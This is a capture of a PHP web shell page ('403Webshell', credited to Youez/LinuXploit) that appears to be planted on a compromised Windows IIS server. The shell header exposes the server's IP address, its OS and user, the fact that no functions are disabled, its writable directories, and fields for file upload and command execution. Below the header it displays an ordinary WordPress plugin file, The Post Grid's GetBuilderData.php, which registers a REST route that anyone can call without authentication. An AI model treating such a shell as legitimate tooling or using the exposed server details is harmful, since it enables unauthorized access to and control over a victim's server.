403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Old Sites/ict/wp-content/plugins/the-post-grid/app/Controllers/Api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Old Sites/ict/wp-content/plugins/the-post-grid/app/Controllers/Api/GetBuilderData.php
<?php

namespace RT\ThePostGrid\Controllers\Api;

use RT\ThePostGrid\Helpers\Fns;
use RT\ThePostGridPro\Helpers\Functions;
use WP_Query;

class GetBuilderData {
	public function __construct() {
		add_action( "rest_api_init", [ $this, 'register_post_route' ] );
	}

	public function register_post_route() {
		register_rest_route( 'rttpg/v1', 'builder', [
			'methods'             => 'POST',
			'callback'            => [ $this, 'get_all_posts' ],
			'permission_callback' => function () {
				return true;
			}
		] );
	}


	/**
	 * Get all posts
	 *
	 * @param $data
	 *
	 * @return \WP_Error|\WP_HTTP_Response|\WP_REST_Response
	 */
	public function get_all_posts( $data ) {

		$last_post_id = Fns::get_last_post_id();
		$post_args    = get_post( $last_post_id );

		if ( ! empty( $data['fetch'] ) ) {
			switch ( $data['fetch'] ) {
				case "title" :
					return rest_ensure_response( $post_args->post_title );
				case "thumbnail" :
					return rest_ensure_response( get_the_post_thumbnail( $post_args, $data['image_size'] ) );
				case "content" :
					return rest_ensure_response( $post_args->post_content );
				case "meta" :
					$post_meta = Fns::get_post_meta_html( $last_post_id, $data, false );

					return rest_ensure_response( $post_meta );
				case "share" :
					$share_html = Functions::rtShare( $last_post_id );

					return rest_ensure_response( $share_html );
				case "comment" :
					$comment_form = Functions::get_dummy_comment_box();

					return rest_ensure_response( $comment_form );
			}
		}

		$send_data = [
			'post_title' => $post_args->post_title,
		];

		return rest_ensure_response( $send_data );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit